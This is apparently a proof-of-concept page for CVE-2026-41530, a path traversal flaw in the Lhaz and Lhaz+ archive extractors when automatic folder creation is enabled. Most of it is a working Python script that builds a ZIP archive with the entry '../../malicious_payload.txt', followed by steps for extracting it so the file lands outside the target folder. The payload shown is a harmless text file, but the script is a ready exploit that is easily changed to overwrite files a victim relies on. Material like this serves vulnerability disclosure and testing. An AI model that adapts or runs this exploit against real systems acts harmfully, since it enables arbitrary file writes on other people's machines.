CVE-2026-41530: Lhaz和Lhaz+自动创建文件夹功能路径遍历漏洞

import zipfile import os # Create a malicious ZIP file to demonstrate the path traversal # This script creates a zip file containing a file that tries to escape the extraction folder. def create_malicious_zip(filename, malicious_filename): """ Creates a zip file with a file that has a path traversal name. """ with zipfile.ZipFile(filename, 'w') as zf: # The file name contains '../' to traverse directories zf.writestr(malicious_filename, b'This is a malicious payload content.') print(f"Created malicious zip file: {filename}") print(f"Inside file name: {malicious_filename}") if __name__ == "__main__": # Example payload file name that attempts to write to the parent directory payload_name = "../../malicious_payload.txt" output_zip = "exploit_cve_2026_41530.zip" create_malicious_zip(output_zip, payload_name) # Instructions: # 1. Run this script to generate 'exploit_cve_2026_41530.zip'. # 2. Open Lhaz or Lhaz+ with 'Automatic Folder Creation' enabled. # 3. Extract the generated zip file. # 4. Observe that 'malicious_payload.txt' is created outside the extraction folder.